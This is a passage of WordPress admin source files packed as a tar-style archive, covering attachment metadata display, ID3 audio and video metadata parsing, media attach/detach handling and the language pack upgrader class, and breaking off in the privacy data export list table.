			$uploaded_to_title = $post_parent->post_title ? $post_parent->post_title : __( '(no title)' );
			$uploaded_to_link  = get_edit_post_link( $post->post_parent, 'raw' );
			?>
			<div class="misc-pub-section misc-pub-uploadedto">
				<?php if ( $uploaded_to_link ) { ?>
					<?php _e( 'Uploaded to:' ); ?> <a href="<?php echo $uploaded_to_link; ?>"><strong><?php echo $uploaded_to_title; ?></strong></a>
				<?php } else { ?>
					<?php _e( 'Uploaded to:' ); ?> <strong><?php echo $uploaded_to_title; ?></strong>
				<?php } ?>
			</div>
			<?php
		}
	}
	?>

	<div class="misc-pub-section misc-pub-attachment">
		<label for="attachment_url"><?php _e( 'File URL:' ); ?></label>
		<input type="text" class="widefat urlfield" readonly="readonly" name="attachment_url" id="attachment_url" value="<?php echo esc_attr( $att_url ); ?>" />
		<span class="copy-to-clipboard-container">
			<button type="button" class="button copy-attachment-url edit-media" data-clipboard-target="#attachment_url"><?php _e( 'Copy URL to clipboard' ); ?></button>
			<span class="success hidden" aria-hidden="true"><?php _e( 'Copied!' ); ?></span>
		</span>
	</div>
	<div class="misc-pub-section misc-pub-download">
		<a href="<?php echo esc_attr( $att_url ); ?>" download><?php _e( 'Download file' ); ?></a>
	</div>
	<div class="misc-pub-section misc-pub-filename">
		<?php _e( 'File name:' ); ?> <strong><?php echo $filename; ?></strong>
	</div>
	<div class="misc-pub-section misc-pub-filetype">
		<?php _e( 'File type:' ); ?>
		<strong>
		<?php

		if ( preg_match( '/^.*?\.(\w+)$/', get_attached_file( $post->ID ), $matches ) ) {
			echo esc_html( strtoupper( $matches[1] ) );
			list( $mime_type ) = explode( '/', $post->post_mime_type );
			if ( 'image' !== $mime_type && ! empty( $meta['mime_type'] ) ) {
				if ( "$mime_type/" . strtolower( $matches[1] ) !== $meta['mime_type'] ) {
					echo ' (' . $meta['mime_type'] . ')';
				}
			}
		} else {
			echo strtoupper( str_replace( 'image/', '', $post->post_mime_type ) );
		}

		?>
		</strong>
	</div>

	<?php

	$file_size = false;

	if ( isset( $meta['filesize'] ) ) {
		$file_size = $meta['filesize'];
	} elseif ( file_exists( $file ) ) {
		$file_size = wp_filesize( $file );
	}

	if ( ! empty( $file_size ) ) {
		?>
		<div class="misc-pub-section misc-pub-filesize">
			<?php _e( 'File size:' ); ?> <strong><?php echo size_format( $file_size ); ?></strong>
		</div>
		<?php
	}

	if ( preg_match( '#^(audio|video)/#', $post->post_mime_type ) ) {
		$fields = array(
			'length_formatted' => __( 'Length:' ),
			'bitrate'          => __( 'Bitrate:' ),
		);

		/**
		 * Filters the audio and video metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$fields = apply_filters( 'media_submitbox_misc_sections', $fields, $post );

		foreach ( $fields as $key => $label ) {
			if ( empty( $meta[ $key ] ) ) {
				continue;
			}

			?>
			<div class="misc-pub-section misc-pub-mime-meta misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?>
				<strong>
				<?php

				switch ( $key ) {
					case 'bitrate':
						echo round( $meta['bitrate'] / 1000 ) . 'kb/s';
						if ( ! empty( $meta['bitrate_mode'] ) ) {
							echo ' ' . strtoupper( esc_html( $meta['bitrate_mode'] ) );
						}
						break;
					default:
						echo esc_html( $meta[ $key ] );
						break;
				}

				?>
				</strong>
			</div>
			<?php
		}

		$fields = array(
			'dataformat' => __( 'Audio Format:' ),
			'codec'      => __( 'Audio Codec:' ),
		);

		/**
		 * Filters the audio attachment metadata fields to be shown in the publish meta box.
		 *
		 * The key for each item in the array should correspond to an attachment
		 * metadata key, and the value should be the desired label.
		 *
		 * @since 3.7.0
		 * @since 4.9.0 Added the `$post` parameter.
		 *
		 * @param array   $fields An array of the attachment metadata keys and labels.
		 * @param WP_Post $post   WP_Post object for the current attachment.
		 */
		$audio_fields = apply_filters( 'audio_submitbox_misc_sections', $fields, $post );

		foreach ( $audio_fields as $key => $label ) {
			if ( empty( $meta['audio'][ $key ] ) ) {
				continue;
			}

			?>
			<div class="misc-pub-section misc-pub-audio misc-pub-<?php echo sanitize_html_class( $key ); ?>">
				<?php echo $label; ?> <strong><?php echo esc_html( $meta['audio'][ $key ] ); ?></strong>
			</div>
			<?php
		}
	}

	if ( $media_dims ) {
		?>
		<div class="misc-pub-section misc-pub-dimensions">
			<?php _e( 'Dimensions:' ); ?> <strong><?php echo $media_dims; ?></strong>
		</div>
		<?php
	}

	if ( ! empty( $meta['original_image'] ) ) {
		?>
		<div class="misc-pub-section misc-pub-original-image word-wrap-break-word">
			<?php _e( 'Original image:' ); ?>
			<a href="<?php echo esc_url( wp_get_original_image_url( $attachment_id ) ); ?>">
				<strong><?php echo esc_html( wp_basename( wp_get_original_image_path( $attachment_id ) ) ); ?></strong>
			</a>
		</div>
		<?php
	}
}

/**
 * Parses ID3v2, ID3v1, and getID3 comments to extract usable data.
 *
 * @since 3.6.0
 *
 * @param array $metadata An existing array with data.
 * @param array $data Data supplied by ID3 tags.
 */
function wp_add_id3_tag_data( &$metadata, $data ) {
	foreach ( array( 'id3v2', 'id3v1' ) as $version ) {
		if ( ! empty( $data[ $version ]['comments'] ) ) {
			foreach ( $data[ $version ]['comments'] as $key => $list ) {
				if ( 'length' !== $key && ! empty( $list ) ) {
					$metadata[ $key ] = wp_kses_post( reset( $list ) );
					// Fix bug in byte stream analysis.
					if ( 'terms_of_use' === $key && str_starts_with( $metadata[ $key ], 'yright notice.' ) ) {
						$metadata[ $key ] = 'Cop' . $metadata[ $key ];
					}
				}
			}
			break;
		}
	}

	if ( ! empty( $data['id3v2']['APIC'] ) ) {
		$image = reset( $data['id3v2']['APIC'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data'   => $image['data'],
				'mime'   => $image['image_mime'],
				'width'  => $image['image_width'],
				'height' => $image['image_height'],
			);
		}
	} elseif ( ! empty( $data['comments']['picture'] ) ) {
		$image = reset( $data['comments']['picture'] );
		if ( ! empty( $image['data'] ) ) {
			$metadata['image'] = array(
				'data' => $image['data'],
				'mime' => $image['image_mime'],
			);
		}
	}
}

/**
 * Retrieves metadata from a video file's ID3 tags.
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|false Returns array of metadata, if found.
 */
function wp_read_video_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	$metadata = array();

	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

	if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

	$id3 = new getID3();
	// Required to get the `created_timestamp` value.
	$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName

	$data = $id3->analyze( $file );

	if ( isset( $data['video']['lossless'] ) ) {
		$metadata['lossless'] = $data['video']['lossless'];
	}

	if ( ! empty( $data['video']['bitrate'] ) ) {
		$metadata['bitrate'] = (int) $data['video']['bitrate'];
	}

	if ( ! empty( $data['video']['bitrate_mode'] ) ) {
		$metadata['bitrate_mode'] = $data['video']['bitrate_mode'];
	}

	if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

	if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

	if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

	if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

	if ( ! empty( $data['video']['resolution_x'] ) ) {
		$metadata['width'] = (int) $data['video']['resolution_x'];
	}

	if ( ! empty( $data['video']['resolution_y'] ) ) {
		$metadata['height'] = (int) $data['video']['resolution_y'];
	}

	if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

	if ( ! empty( $data['video']['dataformat'] ) ) {
		$metadata['dataformat'] = $data['video']['dataformat'];
	}

	if ( ! empty( $data['video']['encoder'] ) ) {
		$metadata['encoder'] = $data['video']['encoder'];
	}

	if ( ! empty( $data['video']['codec'] ) ) {
		$metadata['codec'] = $data['video']['codec'];
	}

	if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata['audio'] = $data['audio'];
	}

	if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

		if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

	wp_add_id3_tag_data( $metadata, $data );

	$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;

	/**
	 * Filters the array of metadata retrieved from a video.
	 *
	 * In core, usually this selection is what is stored.
	 * More complete data can be parsed from the `$data` parameter.
	 *
	 * @since 4.9.0
	 *
	 * @param array       $metadata    Filtered video metadata.
	 * @param string      $file        Path to video file.
	 * @param string|null $file_format File format of video, as analyzed by getID3.
	 *                                 Null if unknown.
	 * @param array       $data        Raw metadata from getID3.
	 */
	return apply_filters( 'wp_read_video_metadata', $metadata, $file, $file_format, $data );
}

/**
 * Retrieves metadata from an audio file's ID3 tags.
 *
 * @since 3.6.0
 *
 * @param string $file Path to file.
 * @return array|false Returns array of metadata, if found.
 */
function wp_read_audio_metadata( $file ) {
	if ( ! file_exists( $file ) ) {
		return false;
	}

	$metadata = array();

	if ( ! defined( 'GETID3_TEMP_DIR' ) ) {
		define( 'GETID3_TEMP_DIR', get_temp_dir() );
	}

	if ( ! class_exists( 'getID3', false ) ) {
		require ABSPATH . WPINC . '/ID3/getid3.php';
	}

	$id3 = new getID3();
	// Required to get the `created_timestamp` value.
	$id3->options_audiovideo_quicktime_ReturnAtomData = true; // phpcs:ignore WordPress.NamingConventions.ValidVariableName

	$data = $id3->analyze( $file );

	if ( ! empty( $data['audio'] ) ) {
		unset( $data['audio']['streams'] );
		$metadata = $data['audio'];
	}

	if ( ! empty( $data['fileformat'] ) ) {
		$metadata['fileformat'] = $data['fileformat'];
	}

	if ( ! empty( $data['filesize'] ) ) {
		$metadata['filesize'] = (int) $data['filesize'];
	}

	if ( ! empty( $data['mime_type'] ) ) {
		$metadata['mime_type'] = $data['mime_type'];
	}

	if ( ! empty( $data['playtime_seconds'] ) ) {
		$metadata['length'] = (int) round( $data['playtime_seconds'] );
	}

	if ( ! empty( $data['playtime_string'] ) ) {
		$metadata['length_formatted'] = $data['playtime_string'];
	}

	if ( empty( $metadata['created_timestamp'] ) ) {
		$created_timestamp = wp_get_media_creation_timestamp( $data );

		if ( false !== $created_timestamp ) {
			$metadata['created_timestamp'] = $created_timestamp;
		}
	}

	wp_add_id3_tag_data( $metadata, $data );

	$file_format = isset( $metadata['fileformat'] ) ? $metadata['fileformat'] : null;

	/**
	 * Filters the array of metadata retrieved from an audio file.
	 *
	 * In core, usually this selection is what is stored.
	 * More complete data can be parsed from the `$data` parameter.
	 *
	 * @since 6.1.0
	 *
	 * @param array       $metadata    Filtered audio metadata.
	 * @param string      $file        Path to audio file.
	 * @param string|null $file_format File format of audio, as analyzed by getID3.
	 *                                 Null if unknown.
	 * @param array       $data        Raw metadata from getID3.
	 */
	return apply_filters( 'wp_read_audio_metadata', $metadata, $file, $file_format, $data );
}

/**
 * Parses creation date from media metadata.
 *
 * The getID3 library doesn't have a standard method for getting creation dates,
 * so the location of this data can vary based on the MIME type.
 *
 * @since 4.9.0
 *
 * @link https://github.com/JamesHeinrich/getID3/blob/master/structure.txt
 *
 * @param array $metadata The metadata returned by getID3::analyze().
 * @return int|false A UNIX timestamp for the media's creation date if available
 *                   or a boolean FALSE if a timestamp could not be determined.
 */
function wp_get_media_creation_timestamp( $metadata ) {
	$creation_date = false;

	if ( empty( $metadata['fileformat'] ) ) {
		return $creation_date;
	}

	switch ( $metadata['fileformat'] ) {
		case 'asf':
			if ( isset( $metadata['asf']['file_properties_object']['creation_date_unix'] ) ) {
				$creation_date = (int) $metadata['asf']['file_properties_object']['creation_date_unix'];
			}
			break;

		case 'matroska':
		case 'webm':
			if ( isset( $metadata['matroska']['comments']['creation_time'][0] ) ) {
				$creation_date = strtotime( $metadata['matroska']['comments']['creation_time'][0] );
			} elseif ( isset( $metadata['matroska']['info'][0]['DateUTC_unix'] ) ) {
				$creation_date = (int) $metadata['matroska']['info'][0]['DateUTC_unix'];
			}
			break;

		case 'quicktime':
		case 'mp4':
			if ( isset( $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'] ) ) {
				$creation_date = (int) $metadata['quicktime']['moov']['subatoms'][0]['creation_time_unix'];
			}
			break;
	}

	return $creation_date;
}

/**
 * Encapsulates the logic for Attach/Detach actions.
 *
 * @since 4.2.0
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int    $parent_id Attachment parent ID.
 * @param string $action    Optional. Attach/detach action. Accepts 'attach' or 'detach'.
 *                          Default 'attach'.
 */
function wp_media_attach_action( $parent_id, $action = 'attach' ) {
	global $wpdb;

	if ( ! $parent_id ) {
		return;
	}

	if ( ! current_user_can( 'edit_post', $parent_id ) ) {
		wp_die( __( 'Sorry, you are not allowed to edit this post.' ) );
	}

	$ids = array();

	foreach ( (array) $_REQUEST['media'] as $attachment_id ) {
		$attachment_id = (int) $attachment_id;

		if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
			continue;
		}

		$ids[] = $attachment_id;
	}

	if ( ! empty( $ids ) ) {
		$ids_string = implode( ',', $ids );

		if ( 'attach' === $action ) {
			$result = $wpdb->query( $wpdb->prepare( "UPDATE $wpdb->posts SET post_parent = %d WHERE post_type = 'attachment' AND ID IN ( $ids_string )", $parent_id ) );
		} else {
			$result = $wpdb->query( "UPDATE $wpdb->posts SET post_parent = 0 WHERE post_type = 'attachment' AND ID IN ( $ids_string )" );
		}
	}

	if ( isset( $result ) ) {
		foreach ( $ids as $attachment_id ) {
			/**
			 * Fires when media is attached or detached from a post.
			 *
			 * @since 5.5.0
			 *
			 * @param string $action        Attach/detach action. Accepts 'attach' or 'detach'.
			 * @param int    $attachment_id The attachment ID.
			 * @param int    $parent_id     Attachment parent ID.
			 */
			do_action( 'wp_media_attach_action', $action, $attachment_id, $parent_id );

			clean_attachment_cache( $attachment_id );
		}

		$location = 'upload.php';
		$referer  = wp_get_referer();

		if ( $referer ) {
			if ( str_contains( $referer, 'upload.php' ) ) {
				$location = remove_query_arg( array( 'attached', 'detach' ), $referer );
			}
		}

		$key      = 'attach' === $action ? 'attached' : 'detach';
		$location = add_query_arg( array( $key => $result ), $location );

		wp_redirect( $location );
		exit;
	}
}
class-language-pack-upgrader.php000064400000035147150275632050012705 0ustar00<?php
/**
 * Upgrade API: Language_Pack_Upgrader class
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 4.6.0
 */

/**
 * Core class used for updating/installing language packs (translations)
 * for plugins, themes, and core.
 *
 * @since 3.7.0
 * @since 4.6.0 Moved to its own file from wp-admin/includes/class-wp-upgrader.php.
 *
 * @see WP_Upgrader
 */
class Language_Pack_Upgrader extends WP_Upgrader {

	/**
	 * Result of the language pack upgrade.
	 *
	 * @since 3.7.0
	 * @var array|WP_Error $result
	 * @see WP_Upgrader::$result
	 */
	public $result;

	/**
	 * Whether a bulk upgrade/installation is being performed.
	 *
	 * @since 3.7.0
	 * @var bool $bulk
	 */
	public $bulk = true;

	/**
	 * Asynchronously upgrades language packs after other upgrades have been made.
	 *
	 * Hooked to the {@see 'upgrader_process_complete'} action by default.
	 *
	 * @since 3.7.0
	 *
	 * @param false|WP_Upgrader $upgrader Optional. WP_Upgrader instance or false. If `$upgrader` is
	 *                                    a Language_Pack_Upgrader instance, the method will bail to
	 *                                    avoid recursion. Otherwise unused. Default false.
	 */
	public static function async_upgrade( $upgrader = false ) {
		// Avoid recursion.
		if ( $upgrader && $upgrader instanceof Language_Pack_Upgrader ) {
			return;
		}

		// Nothing to do?
		$language_updates = wp_get_translation_updates();
		if ( ! $language_updates ) {
			return;
		}

		/*
		 * Avoid messing with VCS installations, at least for now.
		 * Noted: this is not the ideal way to accomplish this.
		 */
		$check_vcs = new WP_Automatic_Updater();
		if ( $check_vcs->is_vcs_checkout( WP_CONTENT_DIR ) ) {
			return;
		}

		foreach ( $language_updates as $key => $language_update ) {
			$update = ! empty( $language_update->autoupdate );

			/**
			 * Filters whether to asynchronously update translation for core, a plugin, or a theme.
			 *
			 * @since 4.0.0
			 *
			 * @param bool   $update          Whether to update.
			 * @param object $language_update The update offer.
			 */
			$update = apply_filters( 'async_update_translation', $update, $language_update );

			if ( ! $update ) {
				unset( $language_updates[ $key ] );
			}
		}

		if ( empty( $language_updates ) ) {
			return;
		}

		// Re-use the automatic upgrader skin if the parent upgrader is using it.
		if ( $upgrader && $upgrader->skin instanceof Automatic_Upgrader_Skin ) {
			$skin = $upgrader->skin;
		} else {
			$skin = new Language_Pack_Upgrader_Skin(
				array(
					'skip_header_footer' => true,
				)
			);
		}

		$lp_upgrader = new Language_Pack_Upgrader( $skin );
		$lp_upgrader->bulk_upgrade( $language_updates );
	}

	/**
	 * Initializes the upgrade strings.
	 *
	 * @since 3.7.0
	 */
	public function upgrade_strings() {
		$this->strings['starting_upgrade'] = __( 'Some of your translations need updating. Sit tight for a few more seconds while they are updated as well.' );
		$this->strings['up_to_date']       = __( 'Your translations are all up to date.' );
		$this->strings['no_package']       = __( 'Update package not available.' );
		/* translators: %s: Package URL. */
		$this->strings['downloading_package'] = sprintf( __( 'Downloading translation from %s&#8230;' ), '<span class="code pre">%s</span>' );
		$this->strings['unpack_package']      = __( 'Unpacking the update&#8230;' );
		$this->strings['process_failed']      = __( 'Translation update failed.' );
		$this->strings['process_success']     = __( 'Translation updated successfully.' );
		$this->strings['remove_old']          = __( 'Removing the old version of the translation&#8230;' );
		$this->strings['remove_old_failed']   = __( 'Could not remove the old translation.' );
	}

	/**
	 * Upgrades a language pack.
	 *
	 * @since 3.7.0
	 *
	 * @param string|false $update Optional. Whether an update offer is available. Default false.
	 * @param array        $args   Optional. Other optional arguments, see
	 *                             Language_Pack_Upgrader::bulk_upgrade(). Default empty array.
	 * @return array|bool|WP_Error The result of the upgrade, or a WP_Error object instead.
	 */
	public function upgrade( $update = false, $args = array() ) {
		if ( $update ) {
			$update = array( $update );
		}

		$results = $this->bulk_upgrade( $update, $args );

		if ( ! is_array( $results ) ) {
			return $results;
		}

		return $results[0];
	}

	/**
	 * Upgrades several language packs at once.
	 *
	 * @since 3.7.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param object[] $language_updates Optional. Array of language packs to update. See {@see wp_get_translation_updates()}.
	 *                                   Default empty array.
	 * @param array    $args {
	 *     Other arguments for upgrading multiple language packs. Default empty array.
	 *
	 *     @type bool $clear_update_cache Whether to clear the update cache when done.
	 *                                    Default true.
	 * }
	 * @return array|bool|WP_Error Will return an array of results, or true if there are no updates,
	 *                             false or WP_Error for initial errors.
	 */
	public function bulk_upgrade( $language_updates = array(), $args = array() ) {
		global $wp_filesystem;

		$defaults    = array(
			'clear_update_cache' => true,
		);
		$parsed_args = wp_parse_args( $args, $defaults );

		$this->init();
		$this->upgrade_strings();

		if ( ! $language_updates ) {
			$language_updates = wp_get_translation_updates();
		}

		if ( empty( $language_updates ) ) {
			$this->skin->header();
			$this->skin->set_result( true );
			$this->skin->feedback( 'up_to_date' );
			$this->skin->bulk_footer();
			$this->skin->footer();
			return true;
		}

		if ( 'upgrader_process_complete' === current_filter() ) {
			$this->skin->feedback( 'starting_upgrade' );
		}

		// Remove any existing upgrade filters from the plugin/theme upgraders #WP29425 & #WP29230.
		remove_all_filters( 'upgrader_pre_install' );
		remove_all_filters( 'upgrader_clear_destination' );
		remove_all_filters( 'upgrader_post_install' );
		remove_all_filters( 'upgrader_source_selection' );

		add_filter( 'upgrader_source_selection', array( $this, 'check_package' ), 10, 2 );

		$this->skin->header();

		// Connect to the filesystem first.
		$res = $this->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );
		if ( ! $res ) {
			$this->skin->footer();
			return false;
		}

		$results = array();

		$this->update_count   = count( $language_updates );
		$this->update_current = 0;

		/*
		 * The filesystem's mkdir() is not recursive. Make sure WP_LANG_DIR exists,
		 * as we then may need to create a /plugins or /themes directory inside of it.
		 */
		$remote_destination = $wp_filesystem->find_folder( WP_LANG_DIR );
		if ( ! $wp_filesystem->exists( $remote_destination ) ) {
			if ( ! $wp_filesystem->mkdir( $remote_destination, FS_CHMOD_DIR ) ) {
				return new WP_Error( 'mkdir_failed_lang_dir', $this->strings['mkdir_failed'], $remote_destination );
			}
		}

		$language_updates_results = array();

		foreach ( $language_updates as $language_update ) {

			$this->skin->language_update = $language_update;

			$destination = WP_LANG_DIR;
			if ( 'plugin' === $language_update->type ) {
				$destination .= '/plugins';
			} elseif ( 'theme' === $language_update->type ) {
				$destination .= '/themes';
			}

			++$this->update_current;

			$options = array(
				'package'                     => $language_update->package,
				'destination'                 => $destination,
				'clear_destination'           => true,
				'abort_if_destination_exists' => false, // We expect the destination to exist.
				'clear_working'               => true,
				'is_multi'                    => true,
				'hook_extra'                  => array(
					'language_update_type' => $language_update->type,
					'language_update'      => $language_update,
				),
			);

			$result = $this->run( $options );

			$results[] = $this->result;

			// Prevent credentials auth screen from displaying multiple times.
			if ( false === $result ) {
				break;
			}

			$language_updates_results[] = array(
				'language' => $language_update->language,
				'type'     => $language_update->type,
				'slug'     => isset( $language_update->slug ) ? $language_update->slug : 'default',
				'version'  => $language_update->version,
			);
		}

		// Remove upgrade hooks which are not required for translation updates.
		remove_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		remove_action( 'upgrader_process_complete', 'wp_version_check' );
		remove_action( 'upgrader_process_complete', 'wp_update_plugins' );
		remove_action( 'upgrader_process_complete', 'wp_update_themes' );

		/** This action is documented in wp-admin/includes/class-wp-upgrader.php */
		do_action(
			'upgrader_process_complete',
			$this,
			array(
				'action'       => 'update',
				'type'         => 'translation',
				'bulk'         => true,
				'translations' => $language_updates_results,
			)
		);

		// Re-add upgrade hooks.
		add_action( 'upgrader_process_complete', array( 'Language_Pack_Upgrader', 'async_upgrade' ), 20 );
		add_action( 'upgrader_process_complete', 'wp_version_check', 10, 0 );
		add_action( 'upgrader_process_complete', 'wp_update_plugins', 10, 0 );
		add_action( 'upgrader_process_complete', 'wp_update_themes', 10, 0 );

		$this->skin->bulk_footer();

		$this->skin->footer();

		// Clean up our hooks, in case something else does an upgrade on this connection.
		remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) );

		if ( $parsed_args['clear_update_cache'] ) {
			wp_clean_update_cache();
		}

		return $results;
	}

	/**
	 * Checks that the package source contains .mo and .po files.
	 *
	 * Hooked to the {@see 'upgrader_source_selection'} filter by
	 * Language_Pack_Upgrader::bulk_upgrade().
	 *
	 * @since 3.7.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string|WP_Error $source        The path to the downloaded package source.
	 * @param string          $remote_source Remote file source location.
	 * @return string|WP_Error The source as passed, or a WP_Error object on failure.
	 */
	public function check_package( $source, $remote_source ) {
		global $wp_filesystem;

		if ( is_wp_error( $source ) ) {
			return $source;
		}

		// Check that the folder contains a valid language.
		$files = $wp_filesystem->dirlist( $remote_source );

		// Check to see if a .po and .mo exist in the folder.
		$po = false;
		$mo = false;
		foreach ( (array) $files as $file => $filedata ) {
			if ( str_ends_with( $file, '.po' ) ) {
				$po = true;
			} elseif ( str_ends_with( $file, '.mo' ) ) {
				$mo = true;
			}
		}

		if ( ! $mo || ! $po ) {
			return new WP_Error(
				'incompatible_archive_pomo',
				$this->strings['incompatible_archive'],
				sprintf(
					/* translators: 1: .po, 2: .mo */
					__( 'The language pack is missing either the %1$s or %2$s files.' ),
					'<code>.po</code>',
					'<code>.mo</code>'
				)
			);
		}

		return $source;
	}

	/**
	 * Gets the name of an item being updated.
	 *
	 * @since 3.7.0
	 *
	 * @param object $update The data for an update.
	 * @return string The name of the item being updated.
	 */
	public function get_name_for_update( $update ) {
		switch ( $update->type ) {
			case 'core':
				return 'WordPress'; // Not translated.

			case 'theme':
				$theme = wp_get_theme( $update->slug );
				if ( $theme->exists() ) {
					return $theme->Get( 'Name' );
				}
				break;
			case 'plugin':
				$plugin_data = get_plugins( '/' . $update->slug );
				$plugin_data = reset( $plugin_data );
				if ( $plugin_data ) {
					return $plugin_data['Name'];
				}
				break;
		}
		return '';
	}

	/**
	 * Clears existing translations where this item is going to be installed into.
	 *
	 * @since 5.1.0
	 *
	 * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass.
	 *
	 * @param string $remote_destination The location on the remote filesystem to be cleared.
	 * @return bool|WP_Error True upon success, WP_Error on failure.
	 */
	public function clear_destination( $remote_destination ) {
		global $wp_filesystem;

		$language_update    = $this->skin->language_update;
		$language_directory = WP_LANG_DIR . '/'; // Local path for use with glob().

		if ( 'core' === $language_update->type ) {
			$files = array(
				$remote_destination . $language_update->language . '.po',
				$remote_destination . $language_update->language . '.mo',
				$remote_destination . 'admin-' . $language_update->language . '.po',
				$remote_destination . 'admin-' . $language_update->language . '.mo',
				$remote_destination . 'admin-network-' . $language_update->language . '.po',
				$remote_destination . 'admin-network-' . $language_update->language . '.mo',
				$remote_destination . 'continents-cities-' . $language_update->language . '.po',
				$remote_destination . 'continents-cities-' . $language_update->language . '.mo',
			);

			$json_translation_files = glob( $language_directory . $language_update->language . '-*.json' );
			if ( $json_translation_files ) {
				foreach ( $json_translation_files as $json_translation_file ) {
					$files[] = str_replace( $language_directory, $remote_destination, $json_translation_file );
				}
			}
		} else {
			$files = array(
				$remote_destination . $language_update->slug . '-' . $language_update->language . '.po',
				$remote_destination . $language_update->slug . '-' . $language_update->language . '.mo',
			);

			$language_directory     = $language_directory . $language_update->type . 's/';
			$json_translation_files = glob( $language_directory . $language_update->slug . '-' . $language_update->language . '-*.json' );
			if ( $json_translation_files ) {
				foreach ( $json_translation_files as $json_translation_file ) {
					$files[] = str_replace( $language_directory, $remote_destination, $json_translation_file );
				}
			}
		}

		$files = array_filter( $files, array( $wp_filesystem, 'exists' ) );

		// No files to delete.
		if ( ! $files ) {
			return true;
		}

		// Check all files are writable before attempting to clear the destination.
		$unwritable_files = array();

		// Check writability.
		foreach ( $files as $file ) {
			if ( ! $wp_filesystem->is_writable( $file ) ) {
				// Attempt to alter permissions to allow writes and try again.
				$wp_filesystem->chmod( $file, FS_CHMOD_FILE );
				if ( ! $wp_filesystem->is_writable( $file ) ) {
					$unwritable_files[] = $file;
				}
			}
		}

		if ( ! empty( $unwritable_files ) ) {
			return new WP_Error( 'files_not_writable', $this->strings['files_not_writable'], implode( ', ', $unwritable_files ) );
		}

		foreach ( $files as $file ) {
			if ( ! $wp_filesystem->delete( $file ) ) {
				return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] );
			}
		}

		return true;
	}
}
class-wp-privacy-data-export-requests-list-table.php000064400000012673150275632050016634 0ustar00<?php
/**
 * List Table API: WP_Privacy_Data_Export_Requests_List_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

if ( ! class_exists( 'WP_Privacy_Requests_Table' ) ) {
	require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
}

/**
 * WP_Privacy_Data_Export_Requests_Table class.
 *
 * @since 4.9.6
 */
class WP_Privacy_Data_Export_Requests_List_Table extends WP_Privacy_Requests_Table {
	/**
	 * Action name for the requests this table will work with.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'export_personal_data';

	/**
	 * Post type for the requests.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'user_request';

	/**
	 * Actions column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		/** This filter is documented in wp-admin/includes/ajax-actions.php */
		$exporters       = apply_filters( 'wp_privacy_personal_data_exporters', array() );
		$exporters_count = count( $exporters );
		$status          = $item->status;
		$request_id      = $item->ID;
		$nonce           = wp_create_nonce( 'wp-privacy-export-personal-data-' . $request_id );

		$download_data_markup = '<span class="export-personal-data" ' .
			'data-exporters-count="' . esc_attr( $exporters_count ) . '" ' .
			'data-request-id="' . esc_attr( $request_id ) . '" ' .
			'data-nonce="' . esc_attr( $nonce ) .
			'">';

		$download_data_markup .= '<span class="export-personal-data-idle"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download personal data' ) . '</button></span>' .
			'<span class="export-personal-data-processing hidden">' . __( 'Downloading data...' ) . ' <span class="export-progress"></span></span>' .
			'<span class="export-personal-data-success hidden"><button type="button" class="button-link export-personal-data-handle">' . __( 'Download personal data again' ) . '</button></span>' .
			'<span class="export-personal-data-failed hidden">' . __( 'Download failed.' ) . ' <button type="button" class="button-link export-personal-data-handle">' . __( 'Retry' ) . '</button></span>';

		$download_data_markup .= '</span>';

		$row_actions['download-data'] = $download_data_markup;

		if ( 'request-completed' !== $status ) {
			$complete_request_markup  = '<span>';
			$complete_request_markup .= sprintf(
				'<a href="%s" class="complete-request" aria-label="%s">%s</a>',
				esc_url(
					wp_nonce_url(
						add_query_arg(
							array(
								'action'     => 'complete',
								'request_id' => array( $request_id ),
							),
							admin_url( 'export-personal-data.php' )
						),
						'bulk-privacy_requests'
					)
				),
				esc_attr(
					sprintf(
						/* translators: %s: Request email. */
